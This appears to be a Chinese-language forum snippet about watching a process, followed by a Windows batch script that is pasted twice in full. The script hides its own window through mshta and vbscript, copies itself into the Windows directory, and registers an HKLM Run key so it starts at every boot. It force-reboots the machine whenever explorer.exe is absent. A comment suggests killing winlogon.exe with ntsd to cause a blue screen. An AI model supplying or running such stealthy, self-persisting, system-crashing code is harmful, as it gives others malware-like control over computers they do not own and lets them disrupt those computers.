我要监视的进程比如是,1,2,3里面的某一个
@echo off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
::隐藏窗口
:begin
echo wscript.sleep 2000 >%temp%\sl.vbs
::输出暂停程序,暂停2000毫秒
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysstart /t REG_SZ /d %windir%\unstat.vbs /f >nul
::修改注册表,自启动
echo set objShell=wscript.createObject("wscript.shell")>%windir%\unstat.vbs
echo iReturn=objShell.Run("cmd.exe /C %windir%\unstat.bat", 0, TRUE)>>%windir%\unstat.vbs
copy /y %0 %windir%\unstat.bat
:run
tasklist | find /i "explorer.exe" || goto do
::没有发现进程就转向标签do
cscript //nologo %temp%\sl.vbs
::暂停2秒,减小占用系统资源
goto run
:do
shutdown /r /f /t 0
::立即强制重启。如果想蓝屏把上一行换为:ntsd -c q -pn winlogon.exe
使用批处理结束掉进程,1,2,3
ntsd -c q -p 452 (1的PID)
ntsd -c q -pn 2
ntsd -c q -pn 3
@echo off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
::隐藏窗口
:begin
echo wscript.sleep 2000 >%temp%\sl.vbs
::输出暂停程序,暂停2000毫秒
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysstart /t REG_SZ /d %windir%\unstat.vbs /f >nul
::修改注册表,自启动
echo set objShell=wscript.createObject("wscript.shell")>%windir%\unstat.vbs
echo iReturn=objShell.Run("cmd.exe /C %windir%\unstat.bat", 0, TRUE)>>%windir%\unstat.vbs
copy /y %0 %windir%\unstat.bat
:run
tasklist | find /i "explorer.exe" || goto do
::没有发现进程就转向标签do
cscript //nologo %temp%\sl.vbs
::暂停2秒,减小占用系统资源
goto run
:do
shutdown /r /f /t 0
::立即强制重启。如果想蓝屏把上一行换为:ntsd -c q -pn winlogon.exe
使用批处理结束掉进程,1,2,3
ntsd -c q -p 452 (1的PID)
ntsd -c q -pn 2
ntsd -c q -pn 3
